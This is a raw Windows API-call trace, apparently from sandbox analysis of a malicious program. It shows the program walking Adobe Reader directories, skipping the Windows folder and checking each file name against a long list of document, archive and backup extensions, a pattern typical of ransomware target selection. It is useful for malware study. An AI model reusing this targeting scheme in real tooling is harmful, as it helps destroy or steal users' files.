	[0172.719] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0172.719] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.721] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0172.721] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.721] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0172.721] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.721] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0172.721] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.721] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0172.721] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.722] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0172.722] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.722] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0172.722] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.722] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0172.722] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.722] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0172.722] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.722] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0172.722] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.723] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0172.723] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.723] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0172.723] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.723] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0172.723] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.723] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0172.723] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.723] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0172.723] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.723] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0172.724] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.724] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0172.724] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.724] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0172.724] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.724] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0172.724] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.724] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0172.724] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.724] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0172.725] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.725] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0172.725] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.725] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0172.725] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.725] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0172.726] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.726] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0172.726] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.726] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0172.726] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.726] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0172.726] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sl-si") returned 131
	[0172.726] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sl-si") returned 1
	[0172.726] lstrlenW (lpString="sl-si") returned 5
	[0172.726] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sl-si") returned -1
	[0172.726] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0172.726] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sl-si") returned 131
	[0172.726] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sl-si\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140a18
	[0172.726] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0172.727] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x54c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0172.727] lstrlenW (lpString="ui-strings.js") returned 13
	[0172.727] lstrlenW (lpString=".1cd") returned 4
	[0172.727] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0172.727] lstrlenW (lpString=".3ds") returned 4
	[0172.727] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0172.727] lstrlenW (lpString=".3fr") returned 4
	[0172.727] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0172.727] lstrlenW (lpString=".3g2") returned 4
	[0172.727] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0172.727] lstrlenW (lpString=".3gp") returned 4
	[0172.727] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0172.727] lstrlenW (lpString=".7z") returned 3
	[0172.727] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0172.727] lstrlenW (lpString=".accda") returned 6
	[0172.727] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0172.727] lstrlenW (lpString=".accdb") returned 6
	[0172.727] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0172.727] lstrlenW (lpString=".accdc") returned 6
	[0172.727] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0172.727] lstrlenW (lpString=".accde") returned 6
	[0172.727] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0172.727] lstrlenW (lpString=".accdt") returned 6
	[0172.727] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0172.727] lstrlenW (lpString=".accdw") returned 6
	[0172.727] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0172.727] lstrlenW (lpString=".adb") returned 4
	[0172.728] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0172.728] lstrlenW (lpString=".adp") returned 4
	[0172.728] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0172.728] lstrlenW (lpString=".ai") returned 3
	[0172.728] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0172.728] lstrlenW (lpString=".ai3") returned 4
	[0172.728] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0172.728] lstrlenW (lpString=".ai4") returned 4
	[0172.728] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0172.728] lstrlenW (lpString=".ai5") returned 4
	[0172.728] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0172.728] lstrlenW (lpString=".ai6") returned 4
	[0172.728] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0172.728] lstrlenW (lpString=".ai7") returned 4
	[0172.728] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0172.728] lstrlenW (lpString=".ai8") returned 4
	[0172.728] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0172.728] lstrlenW (lpString=".anim") returned 5
	[0172.728] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0172.728] lstrlenW (lpString=".arw") returned 4
	[0172.728] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0172.728] lstrlenW (lpString=".as") returned 3
	[0172.728] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0172.728] lstrlenW (lpString=".asa") returned 4
	[0172.728] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0172.728] lstrlenW (lpString=".asc") returned 4
	[0172.728] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0172.728] lstrlenW (lpString=".ascx") returned 5
	[0172.728] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0172.728] lstrlenW (lpString=".asm") returned 4
	[0172.728] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0172.728] lstrlenW (lpString=".asmx") returned 5
	[0172.728] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0172.728] lstrlenW (lpString=".asp") returned 4
	[0172.729] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0172.729] lstrlenW (lpString=".aspx") returned 5
	[0172.729] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0172.729] lstrlenW (lpString=".asr") returned 4
	[0172.729] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0172.729] lstrlenW (lpString=".asx") returned 4
	[0172.729] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0172.729] lstrlenW (lpString=".avi") returned 4
	[0172.729] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0172.729] lstrlenW (lpString=".avs") returned 4
	[0172.729] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0172.729] lstrlenW (lpString=".backup") returned 7
	[0172.729] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0172.729] lstrlenW (lpString=".bak") returned 4
	[0172.729] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0172.729] lstrlenW (lpString=".bay") returned 4
	[0172.729] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0172.729] lstrlenW (lpString=".bd") returned 3
	[0172.729] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0172.729] lstrlenW (lpString=".bin") returned 4
	[0172.729] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0172.729] lstrlenW (lpString=".bmp") returned 4
	[0172.729] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0172.729] lstrlenW (lpString=".bz2") returned 4
	[0172.729] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0172.729] lstrlenW (lpString=".c") returned 2
	[0172.729] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0172.729] lstrlenW (lpString=".cdr") returned 4
	[0172.729] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0172.729] lstrlenW (lpString=".cer") returned 4
	[0172.729] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0172.730] lstrlenW (lpString=".cf") returned 3
	[0172.730] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0172.730] lstrlenW (lpString=".cfc") returned 4
	[0172.730] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0172.730] lstrlenW (lpString=".cfm") returned 4
	[0172.730] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0172.730] lstrlenW (lpString=".cfml") returned 5
